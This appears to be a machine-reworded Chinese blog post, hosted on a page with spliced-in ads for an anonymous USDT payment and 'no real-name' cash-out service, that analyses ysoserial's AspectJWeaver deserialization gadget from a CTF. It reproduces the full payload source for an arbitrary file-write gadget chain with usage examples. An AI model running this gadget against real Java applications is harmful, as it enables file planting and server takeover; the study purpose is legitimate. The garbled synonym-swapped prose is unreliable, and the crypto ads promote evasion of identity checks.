usdt法币交易api接入(www.caibao.it):熟悉AspectJWeaver

来源:申博官方网 发布时间:2021-03-25 浏览次数:

USDT第三方支付API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

前言

AntCTFxD^3CTF 中学到了许多,参照大佬的文章也随着剖析一下ysoserial中的AspectJWeaver 。在剖析中发现了许多有趣的事。来分享。

基础部门

ysoserial中的AspectJWeaver : 此gadget用于写文件

Java的File类相关知识

File.separator示意目录离开符/或者,凭证系统判断

HashSet

HashSet 实现原理简述 : HashMap是HashSet的焦点,而Map添加元素需要挪用put(key,value)则必须有键和值。但HashSet相当于只有键,故实现HashSet时官方使用了牢固值来做value,即PRESENT。而PRESENT则是用来造一个假的value来用的。

HashSet中PRESENT和HashMap

剖析 : 由下图可见HashMap成员变量使用了private修饰 ,PRESENT的注释翻译为"与后备映射中的工具相关联的虚拟值" ,

着实这里有一个疑点,为什么HashMap被transient修饰,仍会序列化呢 ? 这个问题剖析在最下方给出 ~

add方式源代码

剖析 : HashSet添加元素挪用了HashMap的put方式,PRESENT为牢固值

剖析ysoserial中的payload

剖析的时刻加了一些注释,助于明晰

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/tôi-đã-chiếm-quyền-điều-khiển-của-rất-nhiều-trang-web-như-thế-nào-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class AspectJWeaver implements ObjectPayload<Serializable> {

    @Override
    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        //将文件名和内容支解
        String[] parts = command.split(";");
        //文件名在0元素
        String filename = parts[0];
        //base64编码保证文件数据不损失
        byte[] content = Base64.decodeBase64(parts[1]);
        //获取SimpleCache的内部类StoreableCachingMap的组织器
        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

        /**
         * 天生StoreableCachingMap实例,newInstance(".", 12);
         * 第一个参数牢固为 . 目的是保证文件写到当前目录
         */
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        //将文件内容映射到MapEntry里,用于挪用getValue,getKey取值
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        //参数设置为1,此参数会影响后面的组织
        HashSet map = new HashSet(1);
        //添加一元素,在HashMap角度是添加一个键值对,也是确立第一个键值对,保证反射改值不会空指针
        map.add("foo");

        //private修饰,故通过反射获取HashSet的焦点成员——hashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //赋予权限
        Reflections.setAccessible(f);
        //获取实例工具"map"的HashMap
        HashMap innimpl = (HashMap) f.get(map);

        //同理,此处获取HashMap的成员变量table
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //授予权限
        Reflections.setAccessible(f2);
        //强转获得响应的java.util.HashMap$Node
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        //System.out.println(node.getClass());
        //反射获取key属性
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //授予权限
        Reflections.setAccessible(keyField);
        //最后一步,完成强行更改键值对的操作,乐成天生恶意实例
        keyField.set(node, entry);
        //返回HashSet实例
        return map;

    }

    public static void main(String[] args) throws Exception {
        //新建h3zh1.txt内容为hello hack
        args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="};

        PayloadRunner.run(AspectJWeaver.class, args);
    }
}

会发现这里用了大量的反射操作,缘故原由如下 :

  • StoreableCachingMap不能直接操作StoreableCachingMap
  • HashSet没有露出的方式可以直接对HashMap举行操作

链子剖析

在SimpleCache内部类StoreableCachingMap.put方式处打断点

完整挪用顺序如下截图:

HashSet要害部门挪用链

HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

其他的一些相关剖析

payload中Object simpleCache = ctor.newInstance(".", 12);一句的参数为什么这样设置 ?

在SimpleCache$StorableCachingMap.writeToPath()挪用中,完成了文件的读写操作,源码如下:

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
private String writeToPath(String key, byte[] bytes) throws IOException {
  String fullPath = this.folder   File.separator   key;
  FileOutputStream fos = new FileOutputStream(fullPath);
  fos.write(bytes);
  fos.flush();
  fos.close();
  return fullPath;
}

此处为fullPath的赋值操作

String fullPath = this.folder   File.separator   key;
  • this.folder的值是什么?

    此值和yso的payload中如下代码相关 :

Object simpleCache = ctor.newInstance(".", 12);

.示意当前目录,在挪用newInstance后会触发组织函数,如下图 ,即this.folder会被设置为.

  • File.separator基础部门已经叙述过了,为目录离开符

  • key是要天生的文件名

综上三点所述: fullPath的值会被设置为"./h3zh1.txt",以是文件会被天生到项目目录

最下方

来解答问题,问题形貌

为什么HashSet源码实现中HashMap成员被transient修饰,仍会触发序列化和反序列化 ?

刚最先我没有意识到HashMap序列化使用了transient来修饰。由于一样平常情形下被transient修饰的成员是不能以序列化的。然则若是重写readObject方式和writeOject方式,也可以完成序列化。

给出一个transient修饰可以反序列化的示例:

若是有个Exp类"行不更名坐不改姓",然则重写了readObject方式和writeOject方式

import java.io.*;

public class Exp implements Serializable{
    //正常不能序列化,反序列化
    private transient String name;
    private int age ;

    public  Exp(int age , String name){
        this.age = age;
        this.name = name;
    }
    //重写——强行序列化
    private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException{
        s.defaultWriteObject();
        //不想强制序列化name可注释下一行
        s.writeObject(this.name);
    }
    //重写——强行反序列化
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        //不想强制反序列化name可注释下一行
        this.name = (String) s.readObject();
    }

    @Override
    public String toString() {
        return "Exp{"  
            "name='"   name   '''  
            ", age="   age  
            '}';
    }

    //序列化函数
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fileInputStream = new FileOutputStream("hello.class");
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(obj);
        oos.close();
    }
    //反序列化
    public static Object  unserialize() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("hello.class");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception {
        Exp exp = new Exp(18,"katherine");
        System.out.println("初始:" exp);
        serialize(exp);
        Exp newExp = (Exp)unserialize();
        System.out.println("序列化后:" newExp);
    }
}

那么推理到HashSet类

来HashSet的readObject重写部门甚至给了注释"Read in all elements" :

同样去找一下HashSet的writeObject方式 :

原来,你们早就在这里了……

文章参考 :

  • ysoserial AspectJWeaver file write gadget : https://xz.aliyun.com/t/9168
  • WebLogic 12.2.1.3.0 Shelldrop小工具 : https://medium.com/nightst0rm/tôi-đã-chiếm-quyền-điều-khiển-của-rất-nhiều-trang-web-như-thế-nào-61efdf4a03f5

  • Servlet时间竞争以及AsjpectJWeaver反序列化Gadget组织 : https://mp.weixin.qq.com/s/GxFFBekqSl5BOnzAKFGBDQ

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片